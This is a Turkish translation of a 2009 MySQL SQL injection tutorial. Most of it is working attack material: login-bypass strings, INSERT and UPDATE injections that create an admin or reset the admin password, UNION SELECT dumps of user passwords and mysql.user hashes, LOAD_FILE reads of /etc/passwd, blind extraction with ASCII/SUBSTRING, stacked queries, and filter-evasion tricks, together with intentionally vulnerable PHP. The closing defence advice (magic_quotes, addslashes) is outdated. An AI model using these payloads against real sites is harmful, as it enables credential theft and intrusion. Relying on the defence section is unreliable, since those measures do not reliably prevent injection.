MySQL: Secure Web Apps - SQL Injection Techniques

MUSTAFA SERHAT DÜNDAR, <SERHAT AT SERHATDUNDAR DOT COM>,
21/06/2009

-[Bilgiler]----------

Title: "MySQL: Secure Web Apps - SQL Injection techniques"

Author: Omni

Website: http://files.playhack.net/papers/mysql_paper.txt

Date: 2009-02-26 (ISO 8601)

Translate : Mustafa Serhat DÜNDAR

-[Özet]----------

---[0x01: Açıklama]

Merhaba, Yine birkaç satır daha yazmak için burada-sizinleyim. Web Uygulama Güvenliği ile ilgili ilgi çekici bir yazı olacağını düşünüyorum. Bu satırların amacı, size SQL İnj. Zaafları hakkında yardımcı olmaktır.

Burada kısa zaman önce bir çok şeyin açıklandığını biliyorum fakat bir çok kişi'den aldığım e-mailler'de kendi kodlarındaki sql inj. açıklarını nasıl bulup-düzelteceklerini soranları gördüm.

Bu yazıyı çok temel bilgilerini anlattığım; "PHP Underground Security" isimli makalenin ikinci bölümü olarak değerlendirebiliriz.

---[0x02: SQL Injection]

Bildiğiniz üzere; Web uygulamaları (LAMP mimarisi üzerine kurulmuş web uygulama dilleri) çeşitli verileri barındırmak için (resimler, yazılar, kullanıcı hesapları, kişisel bilgiler vb.) veritabanı kullanmaya ihtiyac duyar.

Web uygulamasıbu bilgilere SQL (Structured Query Language) kullanarak ulaşır.

Bu tipteki uygulamalar; veritabanını sorgulamak için (örnek olarak veritabanından veri çekmek gibi), bir veya birden çok Sql ifadesi inşa eder. Fakat bu sorgu bazen kullanıcı tarafından talep edilecek veri ile ilişkisiz olabilir. (Bunun hakkında biraz düşünün)

Peki ya SQL?

SQL; veritabanı içine kayıt eklemek, değiştirmek, kayıt okumak, düzenlemek için kullanılan bir DML'dir. (Data Manipulation Language)

Belirttiğimiz üzere web uygulamaları kullanıcı-tabanlı (kullanıcının bilgisi dahilinde) sorgu kullanır. Fakat; eğer kullanıcı-tabanlı veri; kullanımdan önce sağlıklı bir şekilde korunmamış ise saldırgana kendi kodunu enjecte etme imkanı sunar.

Bu zaaf oldukça yıkıcı olabilir. Çünkü saldırgan bu zaaf ile :

- Kendi kodunu enjecte edebilir.

- Kullanıcılara ait bilgileri çekebilir (CC-kredi kartı, DBMS gibi)

ve daha bir çoğu..

** Database Management System, kısaca DBMS'dir.

Temel SQL Enjeksyonları bir çok DBMS ile oldukça benzerdir fakat bildiğiniz üzere bazı farklılıklarda mevcuttur. Bu yazıda MySQL DBMS'de (Mysql veritabanında) sql injectionu exploit etmekten bahsedeceğim.

---[0x03: GİRİŞ FORMLARINI EXPLOİT ETMEK]

Bazen kod yazanların güvenli bir şekilde koruma altına almadıkları kullanıcı adı ve şifre gibi 2 önemli değer; giriş formlarında saldırganın korunmuş alanlara ulaşmasını sağlayan önemli zaaflar doğurur.

Şimdi bunu bir örnek üzerinde gösterelim :

```
SELECT * FROM users WHERE username = 'admin' and password = 'secret'
```

Bu sorgu ile admin; kullanıcı adı "admin", şifresi "secret" olan veriyi sağlar. Eğer bu veriler doğru ise admin web uygulamasına giriş yapacaktır.

Bu scriptte Sql İnj. Zaafının bulunduğunu varsayalım. Eğer adminin kullanıcı adını bilirsek ne olur ki (bu örnekte "admin" olduğunu biliyoruz). Şifreyi bilmiyoruz fakat SQL Inj. saldırısı yapabilir miyiz? Evet oldukça kolay bir şekilde bu uygulamaya giriş sağlayacağız.

In this way:

```
SELECT * FROM users WHERE username = 'admin' /*' and password = 'foobar'
```

Bu sorgu ile :

- Kullanıcı adı = admin' /*

- Şifre = foobar (istediğimiz herhangi birşey..)

Bu sorgu doğru sonuç verecektir yani uygulamaya giriş yapmamızı sağlayacaktır çünkü kullanıcı adı doğru ve ' /* ' işareti Sql ifadesini sonlandırmayı söylüyor. Yani şifrenin doğru olup olmaması bizi ilgilendirmiyor.

Şimdi eğlenceli bir örneğe göz atalım:

```
$sql = "SELECT permissions, username FROM $prefix"."auth WHERE

username = '" . $_POST['username'] . "' AND password =
MD5('".$_POST['wordpass']."');";

              $query = mysql_query($sql, $conn);
```

Post metodu ile başarılı bir şekilde geçen metodlar; bir saldırgan sql inj. yapıp uygulamaya giriş yapmadan önce düzgün bir şekilde koruma altına alınmamış. Bu basit bir saldırı şekli, fakat etkisi oldukça büyük.

---[0x04: Farklı SQL İfade Tiplerini Exploit Etmek]

Sql dili; programcıların veritabanı üzerinde çeşitli sorgular çalıştırabilmesin olanak verir. Örneğin bir kaydın seçilmesi (SELECT), güncelleme (UPDATE), yeni satırların eklenmesi (INSERT) vb..

Eğer kaynak kod bug içermekteyse, saldırgan sorguyu bir çok şekilde suistimal edebilir. Bunları örnekler ile inceleyelim.

SELECT Sorgusu

SELECT Sorgusu; database'den bir veriyi döndürmek için kullanılır ve kullanıcı sorgusuna yanıt veren her uygulamada oldukça sık kullanılır.

SELECT; giriş formlarında, kataloglara göz atarken, kullanıcı bilgilerini görüntülerken, kullanıcı profillerinde, arama motorlarında vb. bir çok yerde kullanılır.

Genellikle kullanıcıların argümanlarını WHERE cümleciği ile girdikleri an "Kırılma Noktası"dır.

Argüman : bağımsız değişken

Bazen ise "Kırılma Noktası"na yol açan FROM cümleciğidir. Bu çok nadir görülür.

INSERT Sorgusu

INSERT sorgusu; tablolara yeni satırların eklenmesi için kullanılır ve bazen uygulamanın veriyi düzgün bir biçimde koruyamadığı anlarda uygulamada zaaf yaratabilir.

```
INSERT INTO usr (user, pwd, privilege) VALUES ('new', 'pwd', 10)
```

Eğer "pwd" veya "username" düzgün bir biçimde korunmasa ne olurdu? Sorgunun zaafını kullanarak uygulamayı hack edebilir ve aşağıda göreceğiniz şekilde yeni bir sorgu türetebilirdik.

```
INSERT INTO usr (user, pwd, privilege) VALUES ('hacker', 'test', 1)/*', 3)
```

Bu örnekte pwd alanı güvensiz ve admin yetkisine sahip yeni bir kullanıcı yaratmak için sömürülüyor. (privilege = 1)

```
$SQL= "INSERT INTO usr (user, pwd, id) VALUES ('new', '".$_GET['p']."', 3)";

$result = mysql_query($SQL);
```

UPDATE Sorgusu

UPDATE sorgusu adından da anlaşılacağı üzere güncelleme yapmak için kullanılır.

Örneğin bu sorgu tipi; bir kullanıcı profilinde değişiklik yapacağı anlarda, şifresini veya iletişim bilgilerini değiştireceği anlarda kullanılabilir.

UPDATE sorgusunun çalışma mantığını anlamak için aşağıdaki örneğe bakalım :

```
UPDATE usr SET pwd='newpwd' WHERE user = 'billyJoe' and password = 'Billy'
```

update_profile.php içinde ki pwd alanı kesinlikle bir "kullanıcı taraflı veri" içeriyor. Öyleyse aşağıdaki şekilde zaaf içeren bir kod olması durumunda neler olabileceğini düşünün :

```
    $SQL = "UPDATE usr SET pwd='".$_GET['np']."' WHERE user = 'billyJoe' and
pwd = 'Billy'";

    $result = mysql_query($SQL);
```

Bu sorguda şifre doğru olmak zorunda (sonuçta kullanıcı kendi şifresini bilmek zorundadır :D) ve şifre GET metodu ile sağlanacaktır. Fakat bu detayı boşverin çünkü kod enj. için çok gerekli değil) ve yeni şifre alanına ($_GET['np']) konsantre olun. Kodumuzu buraya enjekte edersek ne olur? Görelim :

```
UPDATE usr SET pwd='owned' WHERE user='admin'/*' WHERE user = 'ad' and pwd = 'se'
```

Burada admin şifresini "owned" olarak değiştirdik. :)

UNION SELECT Sorgusu

UNION SELECT Sorgusu; SQL'de 2 veya daha fazla farklı SELECT sorgusunu tek sonuçta kombine etmek için kullanılır.

Bu sorgu çeşidi oldukça ilginç çünkü bir SELECT sorgusu ile kendi UNION SELECT sorgunuzu; sorguları kombine etmek için ekleyebilirsiniz ve 2 veya daha çok sonucu tek bir sonuç setinde görüntüleyebilirsiniz.

Dediklerimi daha iyi anlayabilmek için örnek üzerinde görmek daha faydalı olacaktır :

Zaaf içeren kod :

```
-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

$SQL = "select * from news where id=".$_GET['id'];

$result = mysql_query($SQL);

if (!$result) {

    die('Invalid query: ' . mysql_error());

}

// Our query is TRUE

if ($result) {

echo '<br><br>WELCOME TO www.victim.net NEWS<br>';

while ($row = mysql_fetch_array($result, MYSQL_NUM)) {

    echo '<br>Title:'.$row[1].'<br>';
```

```
    echo '<br>News:<br>'.$row[2];

}

}
```

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Gördüğümüz üzere "$SQL" değeri zaaf içermekte ve saldırgan kendi kodunu enjekte ederek bilgi çekebilmekte.

Eğer browserimiz ile bu adresi çağırırsak ne olur peki? :

http://www.victim.net/CMS/view.php?id=1 ?

Herhangi ilginç bir şeyle karşılaşmadık, sadece 1 değerini içeren ID ile tanımlı haberi göreceğiz :

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:

what about SQL Injection?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Bunu nasıl ilginç hale getirebiliriz ? (: kendi UNION SELECT operatörümüzü kullanabiliriz ve sonuç verecek sorgu bu şekilde olacaktır :

```
select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1
```

Peki bunun sonucunda ne olacak? Görelim :

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:

what about SQL Injection?

Title:secret

News:

1

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

"Title: secret" admin şifresidir (ID=1 bir çok uygulamada admine ait ID değeridir) ve "News:" te ki 1 adminin ID'sidir.

Öyleyse neden çıktımız (sayfada aldığımız sonuç) neden bu kadar ilginç? Bu ilginç değil çünkü tablolarımız pek çok şekilde oluşturulmuş olabilir. Bunu anlamak için örneğe göz atın :

```
mysql> select * from usr;

----------------------

| user   | pwd    | id    |

----------------------

| admin | secret |    1 |

----------------------

| ad     | aaaaa  |    2 |

----------------------

| new   | test    |    5 |

----------------------

mysql> select * from news;

-------------------------------------------------

| id   | title               | texts                              |

-------------------------------------------------

|    1 | testing news    | what about SQL Injection? |

-------------------------------------------------
```

```
|    2 | testing news 2 | could be bypassed easily?  |

--------------------------------------------------
```

UNION SELECT sorgumuz böyle olacak :

```
mysql> select * from news where id = 1 union select * from usr where id = 1;

--------------------------------------------------

| id      | title              | texts                            |

--------------------------------------------------

| 1       | testing news | what about SQL Injection? |

--------------------------------------------------

| admin | secret          | 1                                  |

--------------------------------------------------
```

Admin şifresini bulduk.

Şimdi daha derine inelim. Eğer farklı kolon sayılarına sahip 2 farklı tablomuz olsaydı ne olurdu?

Maalesef “UNION SELECT” yukarıda gösterdiğimiz şekilde çalışmayacaktı.

Size yardımcı olması için 2 örnek göstereceğim.

LESS FIELDS

```
------------

mysql> select * from Anews;

-----------------------------------------------

| title               | texts                                  |

-----------------------------------------------

| testing news 2 | could be bypassed easily?      |

-----------------------------------------------
```

```
mysql> select * from Anews union select * from usr;

ERROR 1222 (21000): The used SELECT statements have a different number of
columns
```

Evet “UNION SELECT” kullandığımız ve farklı kolon sayılarına sahip tablolarımız olduğunda olacak olan şey bu. Öyleyse bunu bypass etmek (geçmek) için ne yapmalıyız?

```
mysql> select * from Anews union select id, CONCAT_WS(' - ', user, pwd) from
usr;

-------------------------------------------

| title          | texts                                |

-------------------------------------------

| testing news 2 | could be bypassed easily? |

-------------------------------------------

| 1                   | admin - secret               |

-------------------------------------------

| 2                  | ad - aaaaa                     |

-------------------------------------------

| 5                 | new - test                      |

-------------------------------------------
```

Sorunu sadece MySQL fonksiyonu olan CONCAT_WS kullanarak (CONCAT’ta kullanılabilirdi) bypass edebildik.

Bu farklı DMBS’nin nasıl farklı şekillerde çalıştığını anlamaya çalışın.

Take in mind that different DBMS works in different way. Şuan genel davranışı açıkladım bu yüzden bazı durumlarda farklı çözüm yolları bulmanız gerekebili (:

```
MORE FIELDS

-------------
```

```
mysql> select * from fnews;
-----------------------------------------------------
| id   | pri   | title              | texts                          |
-----------------------------------------------------
|    1 |    0 | testing news 2 | could be bypassed easily? |
-----------------------------------------------------
```

Şuan ne yapabiliriz? Oldukça basit! Sadece boş bir alan ekleyin.

```
mysql> select * from fnews union select NULL, id, user, pwd from usr;
-----------------------------------------------------------
| id   | pri     | title              | texts                            |
-----------------------------------------------------------
|    1 |    0   | testing news 2 | could be bypassed easily? |
-----------------------------------------------------------
| NULL |    1 | admin             | secre                             |
-----------------------------------------------------------
| NULL |    2 | ad                 | aaaaa                              |
-----------------------------------------------------------
| NULL |    5 | new               | test                               |
-----------------------------------------------------------
-------------------------------------------------------------------------------
```

---[0x05: Temel Fingerprinting]

Yazımızın bu bölümünde Vulnerability Assessment ve Penetration Test adımları için bilgi toparken ihtiyaç duyacağımız bazı basit fakat ilginç adımları açıklayacağım.

Senaryomuz : Host üzerinde; zaaf barındıran bir web uygulaması bulduk ve sql kodumuzu enjekte edebiliyoruz.

Öyleyse neyi bilmeye ihtiyacımız var? Mysql Server sürümünü bilmek işimize yarayabilir. Belki de kullanılan sürüm zaaf içermektedir ve bunu exploit edebiliriz.

Bunu nasıl yaparız? (Zaaf içeren kod kullanmayacağım; sadece birkaç örnek ile açıklayacağım. Bu örnekleri anlamak için hayal gücünüzü kullanın)

```
mysql> select * from fnews WHERE id = 1 union select version(), NULL, NULL,
NULL from usr;

--------------------------------------------------------------------------------

| id                                | pri     | title                |
texts                             |

--------------------------------------------------------------------------------

| 1                                 |    0    | testing news 2 | could be
bypassed easily? |

--------------------------------------------------------------------------------

| 5.0.22-Debian                | NULL | NULL              |
NULL                              |

--------------------------------------------------------------------------------
```

Mysql sürümü işte burada. Ayrıca OS (işletim sistemi) bilgiside ekranda (:

Server zamanını bilmek ilginç olabilir (:

```
mysql> select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL
from usr;

--------------------------------------------------------------------------------

| id                              | pri     | title                |
texts                                 |

--------------------------------------------------------------------------------

| 1                               |    0    | testing news 2 | could be bypassed
easily?  |
```

```
--------------------------------------------------------------------------------

| 2009-02-27 00:03:56 | NULL | NULL                |
NULL                                |

--------------------------------------------------------------------------------
```

Bazı anlarda; hangi kullanıcının veritabanı'na bağlı olduğunu bilmek faydalı olabiliyor.

```
mysql> select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL
from usr;

------------------------------------------------------------------------

| id                  | pri     | title               |
texts                               |

------------------------------------------------------------------------

| 1                   |    0    | testing news 2 | could be bypassed easily? |

------------------------------------------------------------------------

| omni@localhost | NULL | NULL                |
NULL                                |

------------------------------------------------------------------------
```

Mysql server içindeki bir diğer ilginç fonksiyon ise LOAD_FILE'dır. Bu fonksiyon adında anlaşılacağı gibi bir dosyayı yükler. Peki bu fonksiyon ile ne yapabiliriz? Bilgi çekebilir ve dosyaları okuyabiliriz.

Bu sorguyu örnek üzerinde görelim :

```
select * from news where id=1 union select NULL,NULL,LOAD_FILE('/etc/passwd')
from usr;
```

FireFox çıktısı :

http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE('/etc/password')%20from%20usr;

-/-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

```
Title:testing news

News:

what about SQL Injection?

Title:

News:

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

[...]

[output cutted]

[...]

-/-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/-/
```

İlginç değil mi?

Mysql kullanıcıları ve şifreleri gibi hassas bilgileri okumak ilginç olabilirdi değil mi?

Aşağıdaki örnekte olduğu gibi bir kod dizesi ile bu tip bilgileri çekebiliriz.

```
SELECT * FROM news WHERE id='1' UNION SELECT Host, User, Password FROM
mysql.user/*'
```

---[0x06: Standard Blind SQL Injection]

SQL Injection ve Blind SQL Injection saldırılarının ortak yönü bir uygulamayı sql kodları ile exploit etmeleridir. Aralarında ki asıl fark ise zaafı saptama metodlarıdır.

Çünkü Blind SQL Injection saldırılarında; saldırgan kendi sorgularının sonuçlarına bakacak (farklı parametre değerleri ile) ve eğer bu sorgular aynı sonuçları döndürüyorsa saldırganımız bazi önemli verilere ulaşabilecek.

Peki neden "Standard Blind SQL Injection"? Bu ne anlama geliyor? Yazımızın bu bölümünde "Blind SQL Injection" ile veri çekmenin temel yollarını göreceğiz ve bu saldırı tiplerini aklımıza kazıyacağız.

Şimdi bir adım daha atalım ve "Blind SQL Injection" un tespiti hakkında konuşalım.

Bu zaafı test etmek için her zaman doğru olan bir koşul bulmalıyız. Örneğin 1=1 koşulu her zaman doğrudur. Fakat kodumuzu WHERE koşulu altında enjekte ettiğimiz zaman bunun doğru veya yanlış olacağını bilmiyoruz. Bu yüzden bir takım testler yapmak zorundayız.

Sorgumuz database'den doğru sonucu döndürürse, sorgumuz doğru demektir.

Bu tanım biraz ilginç gelebilir fakat bunu netliştirmek için bir bir örnek vermek istiyorum : Bu URL'yi çağırdığımızı varsayalım.

URL:

http://www.victim.net/CMS/view.php?id=1

-/-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:

what about SQL Injection?

-/-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/-/

Gördüğünüz gibi ilk haberi görüntüledik (id=1) eğer bu Url'yi çağırırsak ne olacak? :

http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?

Browser'da yine aynı sonucu göreceksiniz çünkü 1=1 durumu her zaman doğrudur.

Enjekte edilmiş sorgu :

SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1

Bu örnekler ile Blind SQL İnj.'u anladığımızı ve nasıl kullanacağımızı anladığınızı umuyorum. Kısa bir örnek senaryosu yapalım.

Hedefimiz olan Web Uygulamasının MySQL'e omni kullanıcı ile bağlı olduğunu düşünüyorum, bunu "Blind SQL Injection" ile nasıl kanıtlayabiliriz? :

http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost'

Browser'imize gelen yanıta bakalım. Eğer FireFox'umuz da (veya herhangi bir browser) ID değeri 1 olan haberi görebiliyorsak omni isimli kullanıcının mysql serverine bağlı olduğundan emin olabiliriz. Çünkü doğru sonucu görüntüleyebilmek için sorgumuzunda doğru olması gerekiyor.

Daha derine inelim. Blind SQL ile ne yapabiliriz? Admin şifresini çağırmayı deneyebiliriz. Bunu nasıl yapacağız? Öncelikle geride bıraktığımız adımları tamamen anlamış olmanız gerekiyor. Bilmemiz gereken bazı temel bilgileri açıklayacağım.

MySQL'de kullanılan fonksiyon :

- ASCII(STR)

ASCII string'inin en soldaki numeric değerini döndürür.

Eğer str boş bir değer ise 0 döndürür. Str NULL ise, NULL döndürür. ASCII() 8bit karakterler ile çalışır.

```
mysql> select ascii('a');

-----------

| ascii('A') |

-----------

|         97 |

-----------

mysql> select ascii('b');

-----------

| ascii('b') |

-----------
```

- ORD(STR)

Eğer string str'ın en soldaki karakteri multi-byte karakter ise kodu bu karakter için döndürür.

(1st byte code)

+ (2nd byte code x 256)

+ (3rd byte code x 2562) ...

Eğer en soldaki karakter bir multi-byte karakter değilse, ORD(); ASCII() fonksiyonun aynı değerini döndürür.

- SUBSTRING(str,pos), SUBSTRING(str FROM pos),

SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)

Bir uzunluk argümanı içermeyen formlar string str başlangıç durumdan bir alt dizgi döndürür.

"FROM" kullanan bu formlar standart SQL syntax'larıdır.

Bu durumda ayrıca negatif bir değerde kullanılabilir.

Uygunsuz bir değeri, uygun olan bir değer için kullanmak da mümkündür.Bu koşulda,karakter dizisinin başlangıcı, dizinin başından gelen uygun karakterlerden ziyade, dizinin sonundan gelen uygun karakterlerdir.

Negatif bir değer bu fonksiyonun herhangi bir formunda *pos* olarak kullanılabilir.

- SUBSTR(str,pos), SUBSTR(str FROM pos),

SUBSTR(str,pos,len), SUBSTR(str FROM pos FOR len)

SUBSTR() is a synonym for SUBSTRING().

```
mysql> select substring('Blind SQL', 1, 1);
```

```
| substring('Blind SQL', 1, 1) |

-----------------------------

| B                                |

-----------------------------

mysql> select substring('Blind SQL', 2, 1);

-----------------------------

| substring('Blind SQL', 2, 1) |

-----------------------------

| l                                 |

-----------------------------
```

- LOWER(STR)

String'i bütün karakterleri şuan ki değerlerinin lowercase (küçük harf, örn : abc) olan haline döndürür.

* Default olarak Latin1 (cp1252 West European)'dir.

```
mysql> SELECT LOWER('SQL');

----------------

| LOWER('SQL') |

----------------

| sql              |

----------------
```

- UPPER(STR)

String'i bütün karakterleri şuan ki değerlerinin uppercase (büyük harf, örn : ABC) olan haline döndürür.

* Default olarak Latin1 (cp1252 West European)'dir.

```
mysql> SELECT UPPER('sql');

--------------

| UPPER('sql') |

--------------

| SQL          |

--------------
```

Blind SQL Injection saldırıları sırasında kullanacağımız MySQL fonksiyonlarının temelini öğrendik.

Peki yine neye ihtiyacımız var?

What we need again? Admin şifresinin “secret” olduğunu bildiğimizi varsayalım :

```
mysql> select ascii('s');

-----------

| ascii('s') |

-----------

|        115|

-----------

mysql> select ascii('e');

-----------

| ascii('e') |

-----------

|        101|

-----------

mysql> select ascii('c');

-----------
```

```
| ascii('c') |
-----------
|         99 |
-----------
mysql> select ascii('r');
-----------
| ascii('r') |
-----------
|        114|
-----------
mysql> select ascii('t');
-----------
| ascii('t') |
-----------
|        116|
-----------
Kaynak kodu izleme zamanı :
-/-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/-/
 [ ... ]
$SQL = "select * from news where id=".$_GET['id']." LIMIT 1";
$result = mysql_query($SQL);
if (!$result) {
    die('Invalid query: ' . mysql_error());
}
```

[...]

-/-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/-/

Şimdi zaafı bu URL'yi çağırarak exploit etmeyi deneyelim :

http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115

-/-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/-/

WELCOME TO www.victim.net NEWS

Title:testing news

News:

what about SQL Injection?

-/-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/-/

Sorgu TRUE (yani doğru) (Şifrenin ilk karakterinin "s" olduğunu biliyoruz) ve bu yüzden sorgu :

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1

Peki 115 rakamı nedir? "s" nin ASCII değerini yukardan okuyabilirsiniz. (115 olarak belirtilmişti). Şifrenin ilk karakterini bazı MySQL fonksiyonları ile döndürdük.

.:. (SELECT pwd FROM usr WHERE id=1) => 1 numaralı ID'ye sahip kullanıcının şifresini seç (SELECT)

.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) => Şifrenin ilk harfini al. ("s" harfi)

.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) => İlk harfin ASCII değerini al (115)

Peki şifrenin ikinci harfini nasıl döndüreceğiz? Aşağıdaki sorguya bakalım :

SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1

Bu URL'yi çağırarak :

http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101

Peki 3. karakter ve diğerleri? Sadece aynı sorguyu doğru değerler ile uygulamanız yetecektir.

Ayrıca kelimelerin ASCII değerleri için eşitlikler yerine büyüktür ve küçüktür sembolleri de kullanabilirsiniz.

<,>

ÖRN: 100 ve 116 arasında gibi.

---[0x07: Çift Sorgu]

Bazen, bazı kodlarda programcılar MySQLi sınıfını kullanır. Bu MySQL 4.1+ tarafından sağlanmış ; fonksiyonel bir biçimde erişim sağlayan bir eklentidir.

Şimdi sistemler için oldukça tehlikeli olabilen bir bug'u tanıtacağım.

mysqli sınıflarının "multi_query" ismindeki metodu içinde geçen, güvenliği alınmamış bir değişken ile çift sql sorgu enjektesine sebebiyet verebilir.

mysqli_multi_query (PHP 5); seçilen veritabanı üzerinde, bir veya birden çok sorgu yürütebilir. Sorgular bir noktalı virgül ile bağlanarak çalıştırılabilir.

Örnek :

-/-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/-/

```
<?php

$mysqli = new mysqli("localhost", "root", "root", "test");

if (mysqli_connect_errno()) {

    printf("Connect failed: %s\n", mysqli_connect_error());

    exit();

}
```

```
$query  = "SELECT user FROM usr WHERE id =". $_GET['id'].";";

$query .= "SELECT texts FROM news WHERE id =". $_GET['id'];

    echo 'UserName: ';

if ($mysqli->multi_query($query)) {

    do {

        /* the first result set */

        if ($result = $mysqli->store_result()) {

            while ($row = $result->fetch_row()) {

                echo " - " .$row[0]. "<br>" ;

            }

            $result->free();

        }

        /* print divider */

        if ($mysqli->more_results()) {

            echo "/-/-/-/-/-/-/-/-/-/-/-/-/-/-/<br>";

        }

    } while ($mysqli->next_result());

}

/* close connection */

$mysqli->close();

?>
```

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Eğer kullanıcı bu URL'yi çağırırsa :

http://www.victim.net/CMS/multiple.php?id=2

Browser bu cevabı verir :

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: - ad

/-/-/-/-/-/-/-/-/-/-/-/-/-/

- could be bypassed easily?

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

Kaynak kodu zaaf taşımakta. $query değişkeni bu zaafı yaratıyor çünkü saldırgana GET metodu ile kötü niyetli ID değeri veya çoklu sorgu girme imkanı tanıyor.

Bu URL'yi çağıralım :

http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*

Kullanıcı şifrelerini elde edeceğiz :

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

UserName: - ad

/-/-/-/-/-/-/-/-/-/-/-/-/-/

- secret

- adpwd

- test

-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/

---[0x08: FİLTERELERİN KAÇIRDIKLARI]

Web uygulamaları; saldırganların SQL Inj., LFI vb. zaafları exploit etmelerini engelemek için bir takım filtreler içerebilir. Bununla beraber uygulamalar,

kullanıcı taraflı verileri; engelleme, çözümleme gibi işlemleri yerine getiren mekanizmalar içerebilir.

Bu tipteki filtreler çeşitli yöntemlerle bypass edilebilir.

Bu kısımda size sadece bu filtreleri bypass ederken izleyeceğiniz yollar hakkında fikir kazandırmaya çalışacağım çünkü birbirinden tamamen farklı bir çok filtre mevcuttur ve hepsi farklı yöntemler-yollar kullanır. Bu yüzden filtreyi bypass edecek metodu deneyerek bulmalısınız.

- Bir giriş formunu bypass etmemiz gerektiğini düşünün ve bu formda yorum sembolünün engelleniş (yorum sembolü = /*)

Bu formu bypass edebilmek için ' OR 1 = 1 /* yerine ' OR 'a' = 'a kullanmamız gerekecektir.

- Filtremiz ' or 1=1 bu şekilde bir saldırı cümleciğini filtrelemiş olsun. Bunun yerine ' OR 'foobar' = 'foobar kullanarak bunu aşabiliriz.

(Bunu seneler önce "Cümleciğe yönelik blacklisting" yazımda anlatmıştım :)

(http://docs.google.com/view?docid=0ATn5yqW-bnJPZGhtZGNoZjVfNmYyM25jN2N3&hl=tr)

** Foobar = boşluk işareti*

** İstediğiniz kadar foobar ekleyebilirsiniz (:*

- Filtrenin "admin" kelimesini engellediğini varsayalım. Bunu aşmak için anlatmış olduğumuz CONCAT gibi Mysql fonksiyonlarını kullanabiliriz veya ASCII kullanabiliriz.

```
union select * from usr where user = concat('adm','in')/*

union select * from usr where user=char(97,100,109,105,110)/*
```

Bu konuda hayal gücünüze bağlı olarak örnekleri çoğaltabilirsiniz.

---[0x09: SQL Injection'dan Korunma]

Harddiskimiz'de mevcut olan php.ini dosyası bize sihirli sorgu fonksiyonları konusunda yardımcı olabilir.

Php.ini (/etc/php5/apache2/php.ini, /etc/apache2/php.ini)

Başka ilginç fonksiyonları bu dosyayı inceleyerek keşfedebilirsiniz.

Sihirli sorgular ile kullanıcı tek tırnak (‘), çift tırnak (“), slash işareti (\) ve boş karakterler girdiği zaman bunları temizletebilirsiniz.

Aşağıda 3 sihirli sorgu (magic quote) görüyorsunuz :

- magic_quotes_gpc ; http istemci bilgisine yani GET, POST ve COOKIE gibi bilgilere etki eder.

- magic_quotes_runtime ; eğer aktif ise (enabled) harici bir kaynaktan veri döndüren pek çok fonksiyonu ters slash ile okunmaz hale getirebilir (\)

- magic_quotes_sybase ; Tek tırnağı ve çift tırnağı \’ ile değiştirir.

2.) mod_security kullanın.

3.) addslashes(), htmlspecialchars(), mysql_escape_string() gibi fonksiyonlar ile her kullanıcı girdisini denetleyin.

4.) Değişken türlerini kontrol ettirin (integer, string vs.)
